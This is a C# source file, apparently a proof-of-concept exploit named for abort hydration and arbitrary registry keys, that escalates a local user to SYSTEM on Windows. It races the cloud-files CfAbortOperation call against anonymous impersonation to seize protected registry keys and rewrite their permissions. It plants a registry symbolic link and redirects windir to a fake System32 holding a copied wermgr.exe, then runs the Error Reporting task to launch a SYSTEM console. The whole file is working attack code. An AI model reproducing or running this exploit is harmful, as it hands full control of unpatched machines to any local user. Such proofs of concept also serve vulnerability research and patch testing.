using Microsoft.Win32; using Microsoft.Win32.TaskScheduler; using NtApiDotNet; using NtApiDotNet.Win32; using System; using System.Diagnostics; using System.IO; using System.IO.Pipes; using System.Runtime.InteropServices; using System.Security.AccessControl; using System.Security.Cryptography; using System.Security.Permissions; using System.Threading; namespace PoC_AbortHydration_ArbitraryRegKey_EoP { static class Program { static NtKey OpenKey(NtKey root, string path, KeyAccessRights desired_access) { Console.WriteLine("Opening for {0}", desired_access); using (var obja = new ObjectAttributes(path, AttributeFlags.OpenLink, root)) { using (var key = NtKey.Open(obja, desired_access, KeyCreateOptions.NonVolatile, false)) { if (key.IsSuccess) return key.Result.Duplicate(); } using (var imp = NtThread.Current.ImpersonateAnonymousToken()) { return NtKey.Open(obja, desired_access, KeyCreateOptions.NonVolatile); } } } static void SetSecurityDescriptor(NtKey key, SecurityInformation info) { var sd = new SecurityDescriptor("D:(A;OICIIO;GA;;;WD)(A;OICIIO;GA;;;AN)(A;;GA;;;WD)(A;;GA;;;AN)S:(ML;OICI;NW;;;S-1-16-0)"); key.SetSecurityDescriptor(sd, info); } static void ForceKeyDeleteKey(NtKey root, string name) { Console.WriteLine(@"Deleting {0}\{1}", root.FullPath, name); using (var key = OpenKey(root, name, KeyAccessRights.WriteDac)) { Console.WriteLine("Opened for WriteDac"); SetSecurityDescriptor(key, SecurityInformation.Dacl); } using (var key = OpenKey(root, name, KeyAccessRights.WriteOwner)) { Console.WriteLine("Opened for WriteOwner"); SetSecurityDescriptor(key, SecurityInformation.Label); } using (var new_key = OpenKey(root, name, KeyAccessRights.Delete | KeyAccessRights.EnumerateSubKeys)) { Console.WriteLine("Opened for enumerate."); DeleteRegistryTree(new_key); new_key.Delete(); } } static void DeleteRegistryTree(NtKey root) { foreach (var name in root.QueryKeys()) { ForceKeyDeleteKey(root, name); } } [Flags] enum AbortHydrationFlags { None = 0, Unblock = 1, Block = 2, } [DllImport("cldapi.dll", CharSet = CharSet.Unicode)] static extern int CfAbortOperation(int pid, IntPtr unknown, AbortHydrationFlags flags); [StructLayout(LayoutKind.Sequential)] struct CF_PLATFORM_INFO { public int BuildNumber; public int RevisionNumber; public int IntegrationNumber; } [DllImport("cldapi.dll", CharSet = CharSet.Unicode)] static extern int CfGetPlatformInfo( out CF_PLATFORM_INFO PlatformVersion ); static void ForceTokenThread(object obj) { try { using (var thread = (NtThread)obj) { Console.WriteLine("In force token thread {0}", thread); using (var token = TokenUtils.GetAnonymousToken()) { while (true) { thread.SetImpersonationToken(token); thread.SetImpersonationToken(null); } } } } catch(ThreadAbortException) { return; } catch (Exception ex) { Console.WriteLine(ex); } } const string ROOT_KEY = @"\Registry\User\.DEFAULT\Software\Policies\Microsoft"; static string CLOUD_FILES = $@"{ROOT_KEY}\CloudFiles"; static string BLOCKED_APPS = $@"{CLOUD_FILES}\BlockedApps"; const string TARGET_KEY = @"\Registry\User\.DEFAULT\Volatile Environment"; static void CheckKeyThread(object root_key) { string path = (bool)root_key ? ROOT_KEY : @"\Registry\User\.DEFAULT"; try { using (var key = NtKey.Open(path, null, KeyAccessRights.MaximumAllowed)) { while (true) { if (key.NotifyChange(NotifyCompletionFilter.Name, true) == NtStatus.STATUS_NOTIFY_ENUM_DIR) { Console.WriteLine("Change detected."); Environment.Exit(0); break; } } } } catch (Exception ex) { Console.WriteLine(ex); } } static int Check(this int hr) { if (hr < 0) Marshal.ThrowExceptionForHR(hr); return hr; } const int MAX_STAGE = 4; static void Stage0() { for (int i = 1; i < MAX_STAGE; ++i) { Win32ProcessConfig config = new Win32ProcessConfig { CommandLine = $"run {i}", ApplicationName = typeof(Program).Assembly.Location, TerminateOnDispose = true }; using (var p = Win32Process.CreateProcess(config)) { if (p.Process.Wait(10) != NtStatus.STATUS_SUCCESS) { throw new ArgumentException($"Failed to run stage {i}"); } } } } static void Stage1(bool root_key) { Thread check_key_th = new Thread(CheckKeyThread); check_key_th.IsBackground = true; check_key_th.Start(root_key); Thread.Sleep(1000); var th = NtThread.OpenCurrent(); var anon_thread = new Thread(ForceTokenThread) { IsBackground = true }; anon_thread.Start(th); while (true) { CfAbortOperation(NtProcess.Current.ProcessId, IntPtr.Zero, AbortHydrationFlags.Block); } } static void Stage2() { using (var key = OpenKey(null, CLOUD_FILES, KeyAccessRights.WriteDac | KeyAccessRights.WriteOwner | KeyAccessRights.EnumerateSubKeys)) { SetSecurityDescriptor(key, SecurityInformation.Dacl | SecurityInformation.Label); DeleteRegistryTree(key); } NtKey.CreateSymbolicLink(BLOCKED_APPS, null, TARGET_KEY); Stage1(false); } static void Stage3() { using (var key = OpenKey(null, BLOCKED_APPS, KeyAccessRights.Delete)) { Console.WriteLine("Cleaning up link {0}", key.FullPath); key.Delete(); } using (var key = OpenKey(null, TARGET_KEY, KeyAccessRights.WriteDac | KeyAccessRights.WriteOwner)) { SetSecurityDescriptor(key, SecurityInformation.Dacl | SecurityInformation.Label); } var key2 = Registry.Users.OpenSubKey(@".DEFAULT\Volatile Environment", RegistryRights.FullControl); foreach(var subkey in key2.GetSubKeyNames()) { var fullsubkey = TARGET_KEY + @"\" + subkey; Console.WriteLine("Cleaning up subkey {0}", fullsubkey); NtKey _subkey; try { _subkey = NtKey.Open(fullsubkey, null, KeyAccessRights.WriteDac); } catch (Exception ex) { _subkey = OpenKey(null, fullsubkey, KeyAccessRights.WriteDac); } SetSecurityDescriptor(_subkey, SecurityInformation.Dacl); _subkey.Close(); _subkey = NtKey.Open(fullsubkey, null, KeyAccessRights.Delete); _subkey.Delete(); _subkey.Close(); } key2.Close(); using(NtKey ntarget = NtKey.Open(TARGET_KEY,null,KeyAccessRights.SetValue)) { ntarget.SetValue("windir", Path.GetDirectoryName(Process.GetCurrentProcess().MainModule.FileName)); } string fakesys32 = Path.GetDirectoryName(Process.GetCurrentProcess().MainModule.FileName) + @"\System32"; Directory.CreateDirectory(fakesys32); string fakewer = fakesys32 + @"\wermgr.exe"; File.Copy(Process.GetCurrentProcess().MainModule.FileName, fakewer, true); var srvnamedpipe = new NamedPipeServerStream("MiniPlasmaWERPipe"); System.Threading.Tasks.Task pipewait = srvnamedpipe.WaitForConnectionAsync(); using (TaskService tasksvc = new TaskService()) { Task wertask = tasksvc.GetTask(@"\Microsoft\Windows\Windows Error Reporting\QueueReporting"); wertask.Run(); wertask.Dispose(); } if(!pipewait.Wait(2000)) { Console.WriteLine("Exploit failed."); } else { Console.WriteLine("Exploit succeeded."); } srvnamedpipe.Dispose(); Thread.Sleep(1000); try { File.Delete(fakewer); Directory.Delete(fakesys32); } catch (Exception ex) { } using (NtKey ntarget = NtKey.Open(TARGET_KEY, null, KeyAccessRights.Delete)) { ntarget.Delete(false); } } [DllImport("kernel32.dll", SetLastError = true)] public static extern bool GetNamedPipeServerSessionId(IntPtr Pipe, out UInt32 ClientProcessId); static void Main(string[] args) { bool isSystem; using (var identity = System.Security.Principal.WindowsIdentity.GetCurrent()) { isSystem = identity.IsSystem; } if (isSystem) { Environment.SetEnvironmentVariable("windir", @"C:\Windows",EnvironmentVariableTarget.Process); var namedpipeclient = new NamedPipeClientStream("MiniPlasmaWERPipe"); namedpipeclient.Connect(); UInt32 nSesID; IntPtr hPipe = namedpipeclient.SafePipeHandle.DangerousGetHandle(); if (!GetNamedPipeServerSessionId(hPipe, out nSesID)) return; namedpipeclient.Dispose(); NtToken token = NtToken.OpenEffectiveToken(); NtToken token2 = token.DuplicateToken(); token.Dispose(); token = token2; token.SetSessionId(((int)nSesID)); Win32Process.CreateProcessAsUser(token, @"C:\Windows\System32\conhost.exe", "", CreateProcessFlags.None, null); return; } try { CfGetPlatformInfo(out CF_PLATFORM_INFO _).Check(); if (args.Length <= 1) { int stage = args.Length > 0 ? int.Parse(args[0]) : 0; switch (stage) { case 0: Stage0(); break; case 1: Stage1(true); break; case 2: Stage2(); break; case 3: Stage3(); break; default: throw new ArgumentException("Erm?"); } } else { using (var token = TokenUtils.GetLogonUserToken(args[0], "", args[1], SecurityLogonType.Network, null)) { using (var imp = token.Impersonate()) { CfAbortOperation(NtProcess.Current.ProcessId, IntPtr.Zero, AbortHydrationFlags.Block).Check(); } } } } catch (Exception ex) { Console.WriteLine(ex); } } } }